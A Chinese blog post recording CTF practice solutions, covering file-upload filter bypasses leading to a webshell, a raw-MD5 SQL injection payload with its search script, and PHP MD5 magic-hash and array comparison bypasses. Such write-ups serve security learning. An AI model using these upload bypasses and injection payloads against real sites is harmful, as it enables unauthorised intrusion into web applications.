BUU部分刷题记录(第二周)

[HCTF 2018]admin

进了Login界面就有了

[极客大挑战 2019]Upload

一步步推测:当上传一个php文件时,返回

通过修改文件类型 image/gif,返回

因此可以推断,修改文件类型绕过了第一层WAF,第二层WAF应该是基于文件后缀名来判断的。

逐个尝试可以使用的后缀名,发现.phtml后缀名是可以使用的,出现了第三层WAF。

推断这个是检查文件头,加上GIF89a绕过。

最终发现是上传成功的了,接下来就是修改一下文件加入马了。

蚁剑一下就有了

[极客大挑战 2019]BuyFlag

cookie改成1,然后是弱类型比较以及数字绕过

[BJDCTF2020]Easy MD5

第一关

包里有hint:

看下MD5的用法:

md5(string,row)
参数描述
string必须,规定要计算的字符串
raw可选,规定十六进制或二进制输出格式。
– TRUE – 原始 16字符二进制格式
– FALSE -默认 32字符十六进制数

构造需求:

  • 需要构造的值a,经过md5后生成16字符二进制的数值。
xxxxxxxxxxxxxxxx
  • 该十六字符二进制的数值转成十六进制
xxxxxx
  • 十六进制转换为字符串,当满足以下格式:
'or'xxxx

拼接后的SQL语句

select * from `admin` where password=''or'xxxx'

在SQL中,当字符串的开头为非0数字时,会被当做整型进行解析,即构造一句万能钥匙。

这里用到的exp

<?php
echo (md5("ffifdyop", true));
for ($i = 0;;) {
    for ($c = 0; $c < 1000000; $c++, $i++)
        if (stripos(md5($i, true), '\'or\'') !== false)
            echo "\nmd5($i) = " . md5($i, true) . "\n";
    echo ".";

}
?>

当payload为ffifdyop时,满足条件,此时的字符串为'or'6<trash>。<trash>为不可打印字符简写,提交后通关

第二关

源码有代码

<!--
$a = $GET['a'];
$b = $_GET['b'];

if($a != $b && md5($a) == md5($b)){
    // wow, glzjin wants a girl friend.
-->

赵师傅又要女朋友了。这题是MD5函数漏洞,随便找两个MD5加密后开头为0e的字符串就可以了。

?a=QNKCDZO&b=s878926199a

第三关

<?php
error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
    echo $flag;
}

数组绕过

param1[]=1&param2[]=2

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇